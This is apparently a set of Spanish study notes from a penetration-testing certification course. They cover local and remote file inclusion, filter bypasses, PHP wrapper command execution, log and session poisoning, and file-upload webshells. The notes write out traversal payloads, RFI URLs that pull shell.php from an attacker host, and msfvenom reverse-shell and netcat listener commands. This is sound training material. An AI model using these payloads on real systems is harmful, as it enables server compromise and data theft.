Normalmente la parte dinamica se especifica con un parametro dentro de la URL –> /index.php?PARAMETRO=VALOR donde index.php seria la parte estatica y luego solo extrae contenido dinamico en el parametro que en este caso se leera de about.php
Puede llevar a:
- Filtracion de codigo fuente (que puede ser probado para encontrar nuevas vulns)
- Exposicion de datos sensibles
- Ejecucion de comandos en ciertas condiciones
Ejemplos de codigos vulneables en backend
Imaginemos el ejemplo en el que segun el idioma muestra un contenido u otro
El parametro del HTTP GET sera ?language=VALOR
El valor sera es o en
El cambio de valor puede incluso hacer que cambiemos el directorio desde el que la aplicacion muestra la pagina cargada (/es/ o /en/)
PHP
La funcion include() se usa para mostrar el archivo local o remoto mientras cargamos la pagina
Si el parametro que le pasamos a include() esta controlado por el usuario en un parametro GET y el codigo no filtra de forma adecuada la entrada entonces se vuelve vuln a LFI
![[Pasted image 20260717201204.png]]
No es exclusivo de include() otros son: include_once(), require() o require_once()
NodeJS
Tambien puede cargar contenido basado en parametros GET controlados por el usuario
Ejemplo con readFile():
![[Pasted image 20260717201344.png]]
Ejemplo con render(), aqui se ve claramente como usara el parametro language para cambiar el directorio del about.html:
![[Pasted image 20260717201445.png]]
Leer vs Ejecutar
Veamos las funciones que leen, escriben o permiten una URL remota dependiendo del lenguaje:
PHP
![[Pasted image 20260717201642.png]]
NodeJS
![[Pasted image 20260717201703.png]]
Java
![[Pasted image 20260717201712.png]]
.NET
![[Pasted image 20260717201724.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 2. Revelar El Lfi
1. Inclusion De Archivos Locales Lfi
LFI Basico
Tenemos un ejemplo de aplicacion web que nos permite elegir como usuarios el idioma:
![[Pasted image 20260717201921.png]]
Si seleccionamos un idioma vemos como cambia el contenido y la URL:
![[Pasted image 20260717201949.png]]
En ella vemos un parametro GET llamado language que tiene como valor el archivo es.php
Si la pagina web realmente esta extrayendo un archivo que se esta incluyendo en la pagina, es posible que podamos cambiar de archivo para leer el contenido de otro archivo localmente:
![[Pasted image 20260717202150.png]]
Salto de directorio o Path Traversal
En este ejemplo anterior miramos un archivo poniendo su ruta absoluta /etc/passwd. Esto fue posible porque seguramente el codigo backend usaba include() sin sanetizacion:
![[Pasted image 20260717202301.png]]
Pero muchas veces el valor del parametro se añade al final o al principio de alguna cadena. En este ejemplo se añade el valor despues de especificar un directorio:
![[Pasted image 20260717202422.png]]
Si intentamos usar la ruta absoluta nos dara un error ya que el backend en realidad vera include(./languages//etc/passwd):
![[Pasted image 20260717202444.png]]
Podemos eludir la restriccion usando rutas relativas usando ../:
![[Pasted image 20260717202637.png]]
Aunque podemos agregar ../ infinitos para llegar a la raiz es mejor en un informe añadir los justos y necesarios
Prefijo de nombre de archivo
Otro ejemplo sucede cuando al parametro tiene un prefijo añadido como lang_VALOR:
![[Pasted image 20260717202914.png]]
Si añadimos ../../../etc/passwd en realidad la include() leera lang_../../../etc/passwd y dara error:
![[Pasted image 20260717203003.png]]
Una forma de eludir esto es añadiendo / antes del ../../../etc/passwd. Esto se debe a que es posible que lang_/ exista como directorio dentro del sistema backend. Si no existiese daria error
Entonces include leerira algo como lang_/../../../etc/passwd
![[Pasted image 20260717203238.png]]
Extensiones añadidas
Otro ejemplo comun es que se le añada una extension tipo .php al valor del parametro:
![[Pasted image 20260717203331.png]]
En este caso si pusieramos /etc/passwd, include() leeria algo como /etc/passwd.php y daria error
Las tecnicas de elusion de este tipo se discutiran mas adelante
![[Pasted image 20260717203433.png]]
Ataques LFI de segundo orden
Son un poco mas avanzados
Imaginemos que podemos descargar una imagen de una pagina web a traves de una URL que ve asi:
/profile/$username/avatar.png
Podriamos crear un usuario con un nombre como ../../../etc/passwd y al descargar la imagen en realidad nos cargaria el archivo local
El nombre de usuario normalmente se guardaria en una BBDD y normalmente las sanetizaciones estan en las entradas que podemos cambiar pero no en las entradas que tienen de la BBDD
Ejemplo practico
- Visitamos la pagina web
![[Pasted image 20260717203911.png]]
- Ponemos el lenguaje y se cambia el parametro
![[Pasted image 20260717203926.png]]
- Hacemos Path trasversal y miramos los usuarios que existen. Buscando por /bin encontramos un usuario con shell llamado barry
![[Pasted image 20260717203957.png]]![[Pasted image 20260717204055.png]]
- Por ultimo miramos la flag en el directorio donde se encontraba
![[Pasted image 20260717204133.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 2. Revelar El Lfi
2. Basic Bypasses
Filtros no recursivos de path traversal
Filtros que tratan de evitar el uso de ../
![[Pasted image 20260717225855.png]]![[Pasted image 20260717225902.png]]
Este codigo lo que hace es cambiar la cadena de texto ../ por nada. Entonces podemos usar por ejemplo ....// para bypasearlo porque una vez que lo elimine quedaria ../ y como no es recursivo no se volveria a quitar
![[Pasted image 20260717230008.png]]
Ejemplos de bypasses:
....//
..././
....\/
....////
Codificacion
Algunos filtros web pueden prevenir la entrada de . o / por lo que podemos codificarlos en formato URL
La codificacion en URL de ../ es –> %2e%2e%2f
Ademas podemos codificarla varias veces si fuese necesario
![[Pasted image 20260717230332.png]]![[Pasted image 20260717230349.png]]
Rutas aprobadas
Algunas aplicaciones web pueden imponer que el archivo que se visite este dentro de una ruta especifica usando REGEX. Por ejemplo que solo acepte rutas que esten debajo de ./languages
![[Pasted image 20260717230545.png]]
Para encontrar la ruta correcta (en este caso ./languages) podemos examinar las peticiones enviadas y ver que ruta usan para la funcionalidad normal de la web
Tambien podemos hacer fuzzing de directorios bajo la misma ruta y poder probar hasta que obtengamos una coincidencia
Para evadirlo comenzamos con la ruta correcta y seguimos con path traversal –> ./languages/../../../../etc/passwd
![[Pasted image 20260717230802.png]]
Algunas aplicaciones combinan esto con filtros por lo que podemos probar combinaciones
Extension añadida
Algunas veces se nos impondra una extension (ej .php) que se pondra al final de todas las consultas para evitar que miremos otros archivos que no sean .php
En versiones modernas es posible que no podamos evadirlo y estaremos restringidos a ver .php pero puede seguir siendo util
Hay tecnicas de evasion para versiones mas antigua de la 5.3 y 5.4
Truncamiento de ruta
En versiones antiguas de PHP las cadenas definidas tienen una longitud max de 4096caracteres. Si se pasa una cadena mas larga, esta se truncara y cualquier caracter despues de la longitud sera ignorado
Otro truncamiento pasaba cuando se añadia al final /. esto era eliminado por PHP. Si poniamos /etc/passwd/. se quedaria en /etc/passwd. Tambien pasa al poner varias / como ////etc/passwd quedaria en /etc/passwd o con un . en medio /etc/./passwd que quedaria /etc/passwd
La combinacion de todas se puede ver tal que asi:
![[Pasted image 20260717231657.png]]
Para escribirlo podemos usar scripts en bash:
echo -n "non_existing_directory/../../../etc/passwd" && for i in {1..2048}; do echo -n "./";done
Se pueden añadir mas ../ hasta que nos lleven al directorio raiz
Todos los caracter /. se eliminaran
Bytes nulos
Las versiones anteriores 5.5 eran vulns a inyeccion de bytes nulos –> %00
La adicion de bytes nulos al final de la cadena hacia que la cadena se terminase y no se considerara lo que venia despues
Ejemplo: si en el include() nos obligan a mirar .php pero ponemos /etc/passws%00 el resultado seria /etc/passws%00.php pero lo que hay despues del caracter nulo se elimina y quedaria /etc/passwd
Ejemplo practico
La aplicacion usa mas de un filtro. Trata de pasarlos para leer /flag.txt
![[Pasted image 20260717232255.png]]![[Pasted image 20260717232304.png]]
Los filtros que tienen son: que empiece en la ruta ./languages/ y la eliminacion ../
![[Pasted image 20260717232357.png]]![[Pasted image 20260717232411.png]]
Si tratamos de empezar desde una ruta que no sea languages nos sale que la ruta es ilegal
![[Pasted image 20260717232529.png]]
Y si usamos ../ nos lo va a ir elminando entonces estariamos mirando en languages/etc/passwd
![[Pasted image 20260717232631.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 2. Revelar El Lfi
3. Php Filters
PHP Wrappers: nos permiten acceder a diferentes flujos de E/S a nivel de aplicacion como:
- E/S estandar
- Descritores de archivos
- Flujos de memoria
Podemos usarlos para leer archivos de codigo fuente o incluso ejecutar comandos
Filtros de entrada
Filtros de PHP: nos permiten transformar los datos de un flujo o stream. Para usarlos podemos usar php:// y podemos acceder a los wrapper de filtros PHP con php://filter/
php://filter tiene varios parametros pero los principales son:
resource: obligatorio para los wrappers de filtro. Podemos especificar el flujo que nos gustraria aplicar (ejemplo: un archivo local)
read: puede aplicar diferentes filtros al recurso de entrada
4 Tipos de filtros:
Fuzzing de archivos PHP
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://IP:PORT/FUZZ.php
Deberiamos escanear no solo los 200 sino tambien los 301, 302 y 403 ya que tenemos LFI y deberiamos leer su codigo fuente
Inclusion estandar PHP
Si añadimos un archivo.php es posible que se renderice en el HTML. Con el ejemplo de config.php no se renderizara ya que solo tendra la configuracion (la pagina añade las extension .php por defecto al final por lo que no la tenemos que añadir)
![[Pasted image 20260717234453.png]]
Como lo importante es leer el codigo fuente podemos usar el filtro base64 y asi codificar el archivo config.php
Divulgacion de codigo fuente
Entonces trataremos de obtener el codigo fuente a traves del base64 con filtro PHP:
http://IP:PORT/index.php=PARAMETRO=php://filter/read=convert.base64-encode/resource=config
(La pagina añade las extension .php por defecto al final por lo que no la tenemos que añadir)
![[Pasted image 20260717234911.png]]
Copiamos el base64 y lo decodificamos en nuestra maquina:
echo 'BASE64' | base64 -d
![[Pasted image 20260717235003.png]]
Ejemplo practico
Fuzzea la aplicacion web para encontrar scripts .php y lee el de configuracion para encontrar la flag en la password
-
Realizamos un fuzzing de la aplicacion para encontrar archivos .php en al ruta actual
![[Pasted image 20260717235444.png]]
-
Usamos filtros PHP para que nos convierta la salida de configure.php en base64 porque no lo renderiza. Solo ponemos configure porque el include() añade al final ya el .php para limitarnos a leer archivos.php
![[Pasted image 20260717235626.png]]
![[Pasted image 20260717235654.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 3. Ejecucion Remota De Comandos
1. Php Wrappers
Un metodo facil es enumerando las credenciales de usuario y las claves SSH para usarlas para iniciar sesion en el servidor backend
Por ejemplo podemos conseguir credenciales en el archivo config.php (que podria contener credenciales de usuarios que se podrian reutilizar) o revisar el directorio de usuario para ver las claves .ssh y usaralas
Hay otros metodos que nos permiten ejecutar comandos directamente a traves de la vulnerabilidad LFI. Para ello usaremos PHP Wrappers
PHP Wrapper Data
Se puede usar para incluir datos externos, incluido codigo
Solo disponible si la configuracion allow_url_include esta habilitada en las configuraciones de PHP y no lo esta por defecto (aunque suele estar activada para funcionar correctamente con ciertos plugins)
-
Verificamos si allow_url_include esta habilitado en las configuraciones PHP mirando archivos de configuracion
- Apache: /etc/php/X.Y/apache2/php.ini
- Nginx: /etc/php/X.Y/fpm/php.ini
X.Y es la version PHP instalada
Usaremos los filtros de convert.base64-encode para obtener el archivo de configuracion
curl "http://IP:PORT/index.php?PARAMETRO=php://filter/read=convert.base64-encode/resource=../../../etc/php/7.4/apache2/php.ini"
![[Pasted image 20260718124555.png]]
Lo decodificamos:
echo 'BASE64' | base64 -d | grep allow_url_include
![[Pasted image 20260718124626.png]]
- Ejecucion remota de codigo usando el PHP Wrapper Data (este nos permite incluir datos externos)
Le pasaremos una cadena codificada en BASE64 con un webshell
![[Pasted image 20260718124903.png]]
Se lo pasamos usando data y ejecutamos comandos:
http://IP:PORT/index.php?PARAMETRO=data://text/plain;base64,BASE64&cmd=COMANDO
![[Pasted image 20260718125049.png]]
O con curl:
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,BASE64&cmd=COMANDO
![[Pasted image 20260718125157.png]]
Es parecido a data y se usa para incluir entradas externas y ejecutar codigo PHP pero en este caso pasamos los datos a traves de una solicitud POST
Este tambien depende de que allow_url_include este activado
- Verificamos que
allow_url_input este activado:
curl "http://IP:PORT/index.php?PARAMETRO=php://filter/read=convert.base64-encode/resource=../../../etc/php/7.4/apache2/php.ini"
![[Pasted image 20260718124555.png]]
Lo decodificamos:
echo 'BASE64' | base64 -d | grep allow_url_include
![[Pasted image 20260718124626.png]]
- Enviamos una solicitud POST con la webshell usando Input
Si la pagina web tambien nos deja realizart solicitudes GET (usa $_REQUEST) entonces ponemos el comando de la siguiente forma
curl -s -X POST --data 'WEBSHELL' "http://IP:PORT/index.php?PARAMETRO=php://input&cmd=COMANDO"
![[Pasted image 20260718125757.png]]
Si solo acepta solicitudes POST lo enviamos dentro de la webshell:
![[Pasted image 20260718125941.png]]\
PHP Wrapper Expect
Nos permite ejecutar comandos directamente a traves de flujos de URL. Funciona de forma muy similar a las webshells de antes
Tiene que estar la funcion extension=expect habilitada:
curl "http://IP:PORT/index.php?PARAMETRO=php://filter/read=convert.base64-encode/resource=../../../etc/php/7.4/apache2/php.ini"
![[Pasted image 20260718124555.png]]
Lo decodificamos:
echo 'BASE64' | base64 -d | grep expect
![[Pasted image 20260718130139.png]]
Esto no siginifica que vaya a funcionar porque puede fallar por muchos motivos
- Realizamos la ejucion de comandos usando
expect://
curl -s "http://IP:PORT/index.php?PARAMETRO=expect://COMANDO"
![[Pasted image 20260718130304.png]]
Ejemplo practico
- Visitamos el sitio web
![[Pasted image 20260718130419.png]]
- Obtenemos el archivo de configuracion en BASE64, lo decodifificamos y vemos si
allow_url_include esta activo
![[Pasted image 20260718130648.png]]
![[Pasted image 20260718131716.png]]
![[Pasted image 20260718131819.png]]
- Creamos una web shell y ejecutamos comandos con el PHP Wrapper data
![[Pasted image 20260718133609.png]]
![[Pasted image 20260718133646.png]]
![[Pasted image 20260718133801.png]]![[Pasted image 20260718133825.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 3. Ejecucion Remota De Comandos
2. Inclusion De Archivos Remotos Rfi
Esto se permite si la funcion vulnerable permite la inclusion de URLs remotas. Nos da 2 beneficios principales:
- Enumerar puertos y aplicaciones web solo locales (SSRF o falsificacion de solicitudes del lado del servidor que se cubren en otro modulo)
- Obtener ejecucion remota de codigo al incluir un archivo malicioso
Inclusion de archivos locales vs remotos
![[Pasted image 20260719192719.png]]
Verificar RFI
Suele estar desactivado por defecto. Requiere que la configuracion allow_url_include este habilitada:
- Apache: /etc/php/X.Y/apache2/php.ini
- Nginx: /etc/php/X.Y/fpm/php.ini
curl "http://IP:PORT/index.php?PARAMETRO=php://filter/read=convert.base64-encode/resource=../../../etc/php/7.4/apache2/php.ini"
![[Pasted image 20260718124555.png]]
Lo decodificamos:
echo 'BASE64' | base64 -d | grep allow_url_include
![[Pasted image 20260718124626.png]]
Aun asi puede que la funcion vulnerable no permite RFI. Para verificarlo tratamos de incluir una URL a ver si se ve el contenido dentro de la pagina web
Empezamos intentando incluir la URL local: http://127.0.0.1:80/index.php
![[Pasted image 20260719193125.png]]
Como vemos se incluyo por lo que es vuln a RFI
Ejecucion remota de codigo con RFI
- Creamos un script malicioso en el lenguaje de la aplicacion web
![[Pasted image 20260719193255.png]]
- Alojar el archivo malicioso. Lo mejor es probar con el puerto 80 o 443 que suelen estar en listas blancas
sudo python3 -m http.server 80
![[Pasted image 20260719193419.png]]
http://IP:PORT/index.php?PARAMETRO=http://IP_Kali:PORT/shell.php&cmd=COMANDO
![[Pasted image 20260719193519.png]]
sudo python -m pyftplib -p 21
![[Pasted image 20260719193616.png]]
http://IP:PORT/index.php?PARAMETRO=ftp://IP_Kali:PORT/shell.php&cmd=COMANDO
![[Pasted image 20260719193636.png]]
impacket-smbserver -smb2support share $(pwd)
![[Pasted image 20260719193718.png]]
http://IP:PORT/index.php?PARAMETRO=\\IP_Kali:PORT\share\shell.php&cmd=COMANDO
Ejemplo practico
- Creamos el shell y levantamos un servidor HTTP
![[Pasted image 20260719194720.png]]
- Probamos RFI y conseguimos la flag en /exercise/flag.txt
![[Pasted image 20260719194831.png]]![[Pasted image 20260719194901.png]]![[Pasted image 20260719194933.png]]![[Pasted image 20260719194949.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 3. Ejecucion Remota De Comandos
3. Lfi Y File Uploads
La mayoria de aplicaciones permiten la subida de archivos para multitud de cosas
En este ataque simplemente necesitamos que nos deje subir archivos que la funcion Execute este habilitada para ejecutar codigo independientemente del tipo de extension
Ejemplo: subir un image.jpg con un webshell en PHP dentro y si lo incluimos a traves de un LFI, el codigo PHP lo ejecutara
Las siguientes funciones son las que permiten ejecutar codigo con la LFI:
![[Pasted image 20260719195444.png]]
Carga de imagenes
Usaremos la extension de imagen permitida por la pagina web y bytes magicos al principio del contenido del archivo
![[Pasted image 20260719195722.png]]
Subimos el archivo añadiendolo a Profile Settings como foto de perfil:
![[Pasted image 20260719195838.png]]
Si miramos el codigo fuente podemos ver la ruta donde se ha almacenado:
![[Pasted image 20260719195909.png]]
Ahora la visitamos y ejecutamos comandos:
http://IP:PORT/index.php?language=./profile_images/shell.gif&cmd=id
![[Pasted image 20260719195937.png]]
Carga de un ZIP
![[Pasted image 20260719200009.png]]
http://IP:PORT/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
![[Pasted image 20260719200110.png]]
PHP Wrapper Phar
Pdemos lograr algo parecido usando phar://. Escribimos el siguiente script PHP en un archivo shell.php:
![[Pasted image 20260719200312.png]]
Compilamos el archivo en un phar que al ser llamado escribira el webshell en un subarchivo llamado shell.txt. El archivo phar lo renombramos como jpg:
![[Pasted image 20260719200413.png]]
http://IP:PORT/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
![[Pasted image 20260719200500.png]]
Tanto ZIP como PHAR deben ser metodos alternativos si el primero no funciona
Ejemplo practico
- Creamos el webshell con bits magicos y extension gif para subirlo correctamente:
![[Pasted image 20260719200800.png]]
![[Pasted image 20260719200839.png]]
- Tras subirlo miramos la pagina web y encontramos la ruta desde la que se cargan las imagenes
![[Pasted image 20260719200907.png]]
- Usando LFI vamos a la ruta donde se guardan y ejecutamos comandos para obtener la flag
![[Pasted image 20260719201937.png]]
![[Pasted image 20260719201953.png]]![[Pasted image 20260719202008.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 3. Ejecucion Remota De Comandos
4. Envenenamiento De Logs
En la seccion anterior se vio como si subiamos un archivo con codigo PHP y estaba habilitada la funcion Execute se ejecutaba
Este es parecido:
- Escribimos codigo PHP en un campo que controlamos
- Se registra en un archivo de log
- Hacemos LFI hacia ese archivo y se ejecuta
Necesitamos que Execute este habilitado:
![[Pasted image 20260720141006.png]]
Envenenamiento de sesiones PHP (PHP Session Poisoining)
La mayoria de aplicaciones usan cookies PHPSESSID que pueden contener datos especificos relacionados con el usuario en backend para que la aplicacion pueda hacer un seguimiento del usuario
Estos se suelen almacenar en archivos de session en el backend y se guardan en:
- Linux: /var/lib/php/sessions
- Windows: C:\Windows\Temp\
El nombre de los archivos empieza con: sess_
Ejemplo: /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
- Miramos a ver si tenemos PHPSESSID establecida
![[Pasted image 20260720141508.png]]
- Vemos que el valor es
nhhv8i0o6ua4g88bkdl9u1fdsd por lo que el archivo puede que sea /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd. Usamos LFI para ver su contenido:
![[Pasted image 20260720141614.png]]
Como vemos en el archivo hay 2 parametros:
- Page -> indica el archivo de lenguaje que se muestra (tenemos control ya que podemos controlarlo a traves de
?language=)
- Preference -> muestra el lenguaje seleccionado (de este no tenemos control porque no podemos especificarlo por ninguna parte)
- Vamos a ponerle un valor cualquiera a page y volvemos a mirar el archivo de session para ver como ha cambiado. En este ejemplo ponemos
?language=session_poisoning
![[Pasted image 20260720142055.png]]![[Pasted image 20260720142100.png]]
Se ve como en vez de es.php pone session_poisoning lo que confirma la capacidad de controlar el valor page
- Escribimos un webshell codificado en URL en
?language=
![[Pasted image 20260720142220.png]]
- Por ultimo volevemos a ir al archivo de sessiones y ponemos al final
&cmd=COMANDO
![[Pasted image 20260720142313.png]]
- Como al realizar el comando el archivo de sesion se vuelve a reescribir necesitariamos volver a realizar el envenamiento volviendo a poner el webshell. Lo suyo es envenar con un webshell y ejecutar otra webshell permanente
Envenenamiento de logs del servidor
Apache y Nginx tienen varios archivos de logs como access.log y error.log
- Access.log: tiene informaicon sobre todas las solicitudes hechas al servidor incluyendo el parametro UserAgent
En Nginx la lectura de estos archivos se puede hacer con usuarios de privilegios bajos mientras que en los Apache modernos solo deja con usuarios con privs
Rutas:
-
Apache:
- Linux: /var/log/apache2/
- Windows: C:\xampp\apache\logs\
-
Nginx:
- Linux: /var/log/nginx/
- Windows: C:\nginx\log\
Si no lo encontramos podemos hacer fuzzing usando LFI Wordlist
- Visitamos con LFI el archivo de logs:
![[Pasted image 20260720143147.png]]
Aqui podemos ver direcciones IP, pagina solicitada, codigo de respuesta y cabeceras donde esta UserAgent
Los logs pueden ser enormes y enviar peticiones innecesarias puede petar el host
- Recogemos la solicitud con Burp
![[Pasted image 20260720143329.png]]
- Envenenamos la peticion cambiando UserAgent con una shell web
![[Pasted image 20260720143403.png]]
o con curl:
![[Pasted image 20260720143429.png]]
- Como el log ahora tiene codigo PHP al hacer LFI sobre el archivo de log y ponemos al final
&cmd=COMANDO
![[Pasted image 20260720143526.png]]
Vemos que el comando se ha ejecutado correctamente
![[Pasted image 20260720143750.png]]
Otros archivos a los que podriamos realizar el LFI:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Primero deberíamos intentar leer estos logs a través de LFI, y si tenemos acceso a ellos, podemos intentar envenenarlos como hicimos anteriormente
SSH Y FTP: iniciar sesion con un usuario que tenga como nombre codigo PHP
MAIL: enviar un correo electronico que contenga codigo PHP
Tras el LFI se ejecutara
Ejemplo practico
- Visitamos la pagina web y hacemos LFI hacia el archivo de logs
![[Pasted image 20260720144338.png]]
- Con burp activado recogemos la solicitud y la mandamos a repeater
![[Pasted image 20260720144643.png]]
- Primero envenenamos el UserAgent poniendo una webshell en PHP y luego lanzamos comandos para obtener la flag
![[Pasted image 20260720150852.png]]
![[Pasted image 20260720150923.png]]![[Pasted image 20260720150941.png]]
![[Pasted image 20260720151018.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 4. Automatizacion
1. Automatizacion
Fuzzing de parametros
Para descubrir parametros que pueden ser vulnerables a LFI
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://IP:PORT/index.php?FUZZ=value' -fs 2287
![[Pasted image 20260720154332.png]]
Wordlist para LFI
Wordlists para LFI
LFI-Jhaddix.txt
Ahora usamos las wordlist de LFI para probar distintos payloads
![[Pasted image 20260720154622.png]]
Fuzzing de archivos
Webroot
wordlist para Linux
wordlist para Windows
LFI-Jhaddix.txt
Es posible que necesitemos agregar ../../../
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://IP:PORT/index.php?language=../../../../FUZZ/index.php' -fs 2287
![[Pasted image 20260720154853.png]]
Logs y configuraciones
LFI-Jhaddix.txt
wordlist para Linux
wordlist para Windows
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://IP:PORT/index.php?language=../../../../FUZZ' -fs 2287
![[Pasted image 20260720155015.png]]
![[Pasted image 20260720155115.png]]
![[Pasted image 20260720155129.png]]
Herramientas LFI
LFISuite, LFiFreak y liffy
Ejemplo practico
- Visitamos la pagina web y ponemos index.php para encontrar la plantilla
![[Pasted image 20260720155254.png]]
- Hacemos fuzzing de parametros
![[Pasted image 20260720155536.png]]![[Pasted image 20260720155601.png]]
- Hacemos fuzzing de valores para el parametro view encontrado
![[Pasted image 20260720155721.png]]![[Pasted image 20260720155731.png]]
- Usamos uno de los payloads para ver si funcionaba y capturamos la flag
![[Pasted image 20260720155759.png]]![[Pasted image 20260720155812.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 5. Skill Assessment
1. Skill Assessment
Han añadido un formulario de solicitud de empleo que puede ser interesante mirar
Accede a la aplicacion web y usa varias tecnicas para ganar ejecucion remota de comandos y encontrar la flag en /
![[Pasted image 20260720170824.png]]
![[Pasted image 20260720170954.png]]
![[Pasted image 20260720171105.png]]
![[Pasted image 20260720171130.png]]
![[Pasted image 20260720171210.png]]
![[Pasted image 20260720172227.png]]
![[Pasted image 20260720172245.png]]
![[Pasted image 20260720172040.png]]
![[Pasted image 20260720172848.png]]![[Pasted image 20260720172900.png]]
![[Pasted image 20260720174318.png]]
![[Pasted image 20260720174758.png]]
![[Pasted image 20260720174806.png]]
![[Pasted image 20260720174739.png]]![[Pasted image 20260720174747.png]]
![[Pasted image 20260720180934.png]]![[Pasted image 20260720180945.png]]
![[Pasted image 20260720181042.png]]
![[Pasted image 20260720181541.png]]
![[Pasted image 20260720181851.png]]
![[Pasted image 20260720181837.png]]
![[Pasted image 20260720182203.png]]
![[Pasted image 20260720182405.png]]
![[Pasted image 20260720182355.png]]
![[Pasted image 20260720182514.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 1. Introduccion
1. Introduccion A Los Ataques De Subida De Archivos
La mayoria de aplicaciones permiten funcionalidades de subida de archivos
La razon mas comun detras de las vulns de subida de archivos es una validacion y verificacion de archivos debil que puede no estar bien asegurada
El peor tipo es la subida arbitraria de archivos sin autenticación: permite a una aplicacion web subir cualquier tipo de archivo
Se suelen usar muchos filtros para validar la extension o el contenido de los archivos subidos
El ataque mas comun y critico es la obtencion de ejecucion remota de comandos del servidor backend mediante la subida de una reverse shell o webshell
Hay veces en las que solo podremos subir un tipo de archivos, aun asi hay ataques especificos para ello
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 2. Explotacion Basica
1. Validacion Ausente
Tipo mas basico de vulnerabilidad de File Upload donde la web no tiene ninguna forma de filtros de validacion
Carga arbitraria de archivos
En este ejemplo se nos permite subir archivos personales en la aplicacion web:
![[Pasted image 20260721092615.png]]
La aplicacion web no dice nada de que tipo de archivos por lo que podemos subir hasta archivos .php con un shell
![[Pasted image 20260721092701.png]]
Ademas si hacemos click para subir un archivo vemos que directamente pone All Files:
![[Pasted image 20260721092738.png]]
Identificacion del Framework Web
Para obtener una webshell o una reverse shell, estas deben estar escritas en el mismo lenguaje de programacion que ejecuta el servidor web
A veces suele ser relativamente facil ya que las mismas extensiones de las paginas web /index.php nos dicen que lenguaje permite
Hay frameworks y lenguajes que usan RUTA WEB para no mostrar la extension
- Metodo para identificar la extension: probar con /index.
extension:
/index.extension
php, asp, aspx….
- Usando Wappalyzer
![[Pasted image 20260721093218.png]]
Identifico el lenguaje, el servidor y su version, sistema operativo…
Identificacion de la vulnerabilidad
Ahora que hemos identificado el lenguaje podemos probar la vulnerabilidad con un simple archivo en .php con el framework:
- Creamos el archivo:
echo '<?php echo "Hello World!"; ?>' > test.php
![[Pasted image 20260721093454.png]]
- Lo subimos correctamente por lo que la aplicacion no tiene validacion. Visitamos el directorio de /uploads/ y escribimos al ruta del archivo
http://IP:PORT/uploads/test.php
![[Pasted image 20260721093615.png]]
Ejemplo practico
Trata de subir un archivo que ejecute el hostname
- Visitamos la pagina web y tratamos de encontrar el lenguaje. Wappalyzer no nos lo dice
![[Pasted image 20260721093930.png]]
Probamos a añadir extensiones y encontramos .php
![[Pasted image 20260721093944.png]]
- Creamos el archivo php con el codigo que ejecuta el comando hostname y lo subimos
![[Pasted image 20260721094104.png]]![[Pasted image 20260721094122.png]]![[Pasted image 20260721094129.png]]
- Una vez subido correctamente visitamos /uploads/hostname.php para que se ejecute
![[Pasted image 20260721094152.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 2. Explotacion Basica
2. Explotacion De Subidas
Ahora subiremos un script malicioso con un web shell o un reverse shell
Web shell
Preconfigurada
Una buena opcion es phpbash que nos da una shell semi-interactiva o en SecLists hay varias webshells en /usr/share/seclist/Web-Shells/
Podemos subirla y al visitarla encontraremos lo siguiente:
![[Pasted image 20260721094653.png]]
Personalizada
Podemos escribir nuestra shell en el lenguaje que acepte el backend
![[Pasted image 20260721094736.png]]
Y luego al visitarla pondremos &cmd=COMANDO
![[Pasted image 20260721094803.png]]
Ejemplo de .NET:
![[Pasted image 20260721094901.png]]
A veces pueden no funcionar porque el servidor web impide el uso de ciertas funciones usadas por los webshells como la funcionalidad system(). En estos casos necesitaremos usar tecnicas avanzadas para eludirlos
Reverse shell
Preconfigurados
Un reverse shell fiable es pentestmonkey
Ademas tambien hay en SecLists para varios lenguajes
Usaremos en el ejemplo el pentestmonkey:
- Lo abrimos e introducimos nuestro IP y PUERTO
![[Pasted image 20260721095220.png]]
- Abrimos un listener por ese puerto en nuestro host atacante
![[Pasted image 20260721095241.png]]
- Subimos el archivo y lo visitamos para que se ejecute y nos devuelva la reverse shell en el listener
Personalizados
Usaremos msfvenom:
- Creamos el reverse shell:
msfvenom -p php/reverse_php LHOST=IP_Kali LPORT=PUERTO -f raw > reverse.php
![[Pasted image 20260721095448.png]]
- Creamos el listener en nuestro host atacante
nc -nvlp PUERTO
![[Pasted image 20260721095543.png]]
- Lo subimos, lo visitamos y obtenemos el reverse shell
Ejemplo practico
- Clonamos phpbash
![[Pasted image 20260721101224.png]]
- Lo subimos y lo visitamos
![[Pasted image 20260721101300.png]]![[Pasted image 20260721101310.png]]![[Pasted image 20260721101316.png]]
- Obtenemos el shellweb y conseguimos la flag
![[Pasted image 20260721101519.png]]
CPTS
3. Explotacion WEB / 8. File Uploads Attacks / 3. Bypassing Filters
1. Client Side Validation
Muchas aplicaciones solo hacen una validacion desde el frontend para validar el formato del archivo antes de que se suba
Como es desde el lado del cliente podemos eludirla facilmente o modificar el codigo fuente
Validacion del lado del cliente
En este ejemplo vemos que se nos muestra la funcionalidad de subir una imagen de perfil
![[Pasted image 20260721150805.png]]
Si queremos subir un reverse.php vemos que no sale porque solo se permiten archivos de imagen:
![[Pasted image 20260721150903.png]]
Si le damos a All Files y subimos el php nos dira que no esta permitido:
![[Pasted image 20260721150937.png]]
Modificacion de la peticion al backend
- Revisamos la peticion normal a traves de Burp: subimos la imagen y le damos a upload
